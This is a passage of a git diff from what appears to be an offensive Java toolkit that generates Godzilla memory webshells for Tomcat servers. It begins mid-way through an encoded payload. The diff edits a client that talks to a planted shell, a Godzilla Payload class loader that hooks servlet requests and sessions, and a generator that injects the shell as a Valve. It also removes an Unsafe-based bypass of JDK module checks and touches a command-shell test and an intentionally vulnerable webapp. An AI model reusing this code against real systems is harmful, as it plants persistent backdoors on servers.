BVsAtgVcANQFXQDfBWIA6QVjAOwFZADxBWUA/wVmAQ0FZwEYBWgBHAVpAR8FWAEkBW0BKwVuATkFbwFBBXABTwVxAV0FcgFnBXQBcgV2AXoFdwGABXgBkQV5AZUFewAlAAAAjgAOAAABmAViAKkAAAAQAYgFRQAPAAEAEgGGBUwA/AACABUBgwVOAPwAAwAYAYAFYwD8AAQAHQF7APsA/AAFAFoBPgVIAA8ABgBhATcFSwVkAAcAagAaAeAA/AAIAI4BCgVPAPwACACRAQcFUwD8AAkAlQEDBWUA/AAKAKQAewA7APwACwGAABUElAAPAAsAAQVmAAAAAgVn"); byte[] bytes = generateGodzilla(); try (Response response = post(bytes)) { String setCookie = response.header("Set-Cookie"); if (setCookie != null && setCookie.contains("JSESSIONID=")) { cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";")); } - if (response.code() == 200) { + if (response.isSuccessful()) { return true; - } else if (response.code() == 500) { - throw new RuntimeException(response.body().string()); } - return false; - } catch (IOException e) { - return false; + } catch (IOException ignored) { } + return false; } public boolean test() { byte[] bytes = generateMethodCallBytes("test"); try (Response response = post(bytes)) { - if (response.code() == 200) { + if (response.isSuccessful()) { ResponseBody body = response.body(); if (body != null) { String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); @@ -169,8 +165,8 @@ public class GodzillaManager implements Closeable { public void close() throws IOException { byte[] bytes = generateMethodCallBytes("close"); try (Response response = post(bytes)) { - if (response.code() == 200) { - ResponseBody body = response.body(); + if (response.isSuccessful()) { + response.body(); } } catch (IOException ignore) { diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java b/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java index 45655a08..8acf8b66 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java @@ -77,7 +77,7 @@ public class Payload extends ClassLoader { } if (methodName != null) { if (className == null) { - Method method = getClass().getMethod(methodName, null); + Method method = getClass().getMethod(methodName); Class returnType = method.getReturnType(); Class cls = class$0; if (cls == null) { @@ -89,7 +89,7 @@ public class Payload extends ClassLoader { } } if (returnType.isAssignableFrom(cls)) { - return (byte[]) method.invoke(this, null); + return (byte[]) method.invoke(this); } return "this method returnType not is byte[]".getBytes(); } @@ -251,13 +251,13 @@ public class Payload extends ClassLoader { Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null); Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null); if (getRequestMethod != null && this.servletRequest == null) { - this.servletRequest = getRequestMethod.invoke(obj, null); + this.servletRequest = getRequestMethod.invoke(obj); } if (getServletContextMethod != null && this.servletContext == null) { - this.servletContext = getServletContextMethod.invoke(obj, null); + this.servletContext = getServletContextMethod.invoke(obj); } if (getSessionMethod != null && this.httpSession == null) { - this.httpSession = getSessionMethod.invoke(obj, null); + this.httpSession = getSessionMethod.invoke(obj); } } catch (Exception e) { } @@ -758,7 +758,7 @@ public class Payload extends ClassLoader { int argsCount = Integer.parseInt(argsCountStr); if (argsCount > 0) { for (int i = 0; i < argsCount; i++) { - String val = get(String.format("arg-%d", new Integer(i))); + String val = get(String.format("arg-%d", i)); if (val != null) { argsList.add(val); } @@ -1053,7 +1053,7 @@ public class Payload extends ClassLoader { } } if (returnType.isAssignableFrom(cls2)) { - return (Map) method.invoke(null, null); + return (Map) method.invoke(null); } return null; } catch (Exception e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index 65f444a6..d9ee5ada 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memsell; -import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.config.Constants; @@ -9,7 +8,6 @@ import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.SuperMethodCall; -import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; @@ -26,10 +24,6 @@ public class GodzillaGenerator { } public static byte[] generate(Class godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) { - return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true); - } - - public static byte[] generate(Class godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) { String md5Key = DigestUtils.md5Hex(key).substring(0, 16); String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); Implementation.Composable fieldSets = SuperMethodCall.INSTANCE @@ -42,9 +36,7 @@ public class GodzillaGenerator { DynamicType.Builder builder = new ByteBuddy().redefine(godzillaClass) .name(godzillaClassName); - if (changeClassVersion) { - builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)); - } + builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)); if (useJakarta) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java b/generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java new file mode 100644 index 00000000..50d70954 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.util; + +public class ClassDefiner extends ClassLoader { + private ClassDefiner() { + } + + public static Class defineClass(byte[] code) { + return new ClassDefiner().defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java index b492deed..f7b89737 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java +++ b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java @@ -13,9 +13,7 @@ public class ClassUtils { @SneakyThrows public static Class defineClass(byte[] bytes) { - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - return (Class) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length); + return ClassDefiner.defineClass(bytes); } @SneakyThrows @@ -37,21 +35,4 @@ public class ClassUtils { method.setAccessible(true); return method.invoke(object, parameters); } - - public static void byPassJdkModule() { - try { - Class unsafeClass = Class.forName("sun.misc.Unsafe"); - java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); - unsafeField.setAccessible(true); - Object unsafe = unsafeField.get(null); - java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule"); - Object module = getModuleM.invoke(Object.class, (Object[]) null); - java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); - java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module"); - Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF); - java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); - getAndSetObjectM.invoke(unsafe, ClassUtils.class, offset, module); - } catch (Exception ignored) { - } - } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java index 36cc5498..6fd414a2 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java @@ -10,6 +10,7 @@ import java.util.zip.GZIPOutputStream; * @author ReaJason */ public class CommonUtil { + public static byte[] gzipCompress(byte[] data) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java index 17ff7c7b..2589def0 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.memsell.tomcat.godzilla; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.memsell.GodzillaGenerator; import com.reajason.javaweb.util.ClassUtils; import lombok.SneakyThrows; -import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.codec.binary.Base64; import org.junit.jupiter.api.Test; @@ -36,7 +36,7 @@ class GodzillaValveTest { @SneakyThrows void generateJakarta() { String className = "org.apache.utils.CommonJakartaValve"; - byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false); + byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION); // Files.write(Paths.get(className + ".class"), bytes); Object obj = ClassUtils.newInstance(bytes); assertEquals(className, obj.getClass().getName()); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java index a69288a3..2b14b8b2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java @@ -14,6 +14,7 @@ import okhttp3.HttpUrl; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; +import org.junit.jupiter.api.Disabled; import org.junit.jupiter.api.Test; import java.util.Objects; @@ -28,6 +29,7 @@ import static org.junit.jupiter.api.Assertions.assertTrue; public class CommandShellTool { @Test + @Disabled void testGenerate() { String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine); System.out.println(content); diff --git a/vul-webapp/src/main/java/ScriptEngineServlet.java b/vul-webapp/src/main/java/ScriptEngineServlet.java index 0b6400c8..050d62ee 100644 --- a/vul-webapp/src/main/java/ScriptEngineServlet.java +++ b/vul-webapp/src/main/java/ScriptEngineServlet.java @@ -1,11 +1,9 @@ -import javax.script.ScriptEngineFactory; import javax.script.ScriptEngineManager; import javax.script.ScriptException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.xml.bind.DatatypeConverter; import java.io.IOException; /**